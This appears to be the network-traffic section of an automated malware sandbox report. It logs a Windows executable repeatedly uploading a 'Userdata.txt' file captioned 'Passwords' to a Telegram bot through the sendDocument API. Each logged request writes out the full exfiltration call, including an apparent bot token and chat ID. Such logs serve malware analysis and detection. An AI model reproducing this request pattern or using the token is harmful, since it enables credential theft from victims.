2025-01-10 20:41:37 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44665,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541697,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49890	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:38 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd328f4fe8732c Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 66 34 66 65 38 37 33 32 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd328f4fe8732cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:38 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:39 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44667,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541698,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49905	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:40 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32a4dc55bf1d Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 34 64 63 35 35 62 66 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32a4dc55bf1dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:40 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:40 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44669,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541700,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49919	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:42 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32bd0647d8c6 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 62 64 30 36 34 37 64 38 63 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32bd0647d8c6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:42 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:42 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44671,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541702,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49930	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:44 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32d26ef83989 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 32 36 65 66 38 33 39 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32d26ef83989Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:44 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:44 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44673,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541704,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49946	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:46 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ed1900c427 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 64 31 39 30 30 63 34 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ed1900c427Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:46 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:47 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44676,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541706,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49962	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:49 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd330e4767d75a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:49 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 65 34 37 36 37 64 37 35 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd330e4767d75aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:49 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:49 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44678,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541709,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49973	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:51 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33221c009098 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 32 32 31 63 30 30 39 30 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33221c009098Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:51 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:51 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44680,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541711,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49988	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:52 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33388384d681 Host: api.telegram.org Content-Length: 1090
